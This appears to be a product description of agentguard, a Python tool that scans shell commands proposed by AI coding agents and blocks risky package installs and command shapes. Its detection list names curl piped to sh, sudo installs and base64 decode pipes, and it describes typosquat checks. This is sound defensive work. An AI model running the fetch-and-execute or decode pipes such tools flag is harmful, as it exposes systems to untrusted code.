Everything local — blocklist, typosquat distance, dangerous patterns — answers instantly, so the checks that matter most cost nothing per command. The network checks add roughly a second each and can be switched off one at a time in the config, which is how you keep an interactive session fast.
A Python tool that inspects the shell commands an AI coding agent wants to run and blocks the dangerous ones. It works as a Claude Code hook, a CLI, or an MCP server with three tools.
- A shell command scanned and given a verdict — agentguard_scan
- A package name checked on its own — agentguard_check_package
- The policy read and changed — agentguard_config
- Instant local checks: a blocklist of known-bad packages, edit-distance and homoglyph typosquat detection against top npm and PyPI names, scope confusion such as @angullar/core against @angular/core, and dangerous shapes including curl piped to sh, sudo installs and base64 decode pipes
- Network checks: registry metadata (package younger than 7 days, no repo link, no maintainers), GitHub repository verification, VirusTotal hash lookups, and OSV.dev advisories cached for an hour
- Five severity levels — CRITICAL and HIGH block, MEDIUM warns, LOW and INFO allow — and three modes that move the line: strict at 30, normal at 60, permissive at 80
- Coverage across npm, pnpm, yarn, bun, pip, uv, composer, go, cargo, gem, brew, git clone and curl or wget downloads
Pip install agentguard; the npm package installs the same thing. agentguard install --global writes the PreToolUse hook into ~/.claude/settings.json, and agentguard mcp runs it as an MCP server. Configuration lives at ~/.agentguard/config.json. VT_API_KEY is optional and enables the VirusTotal checks — the free tier allows 4 requests a minute and 500 a day.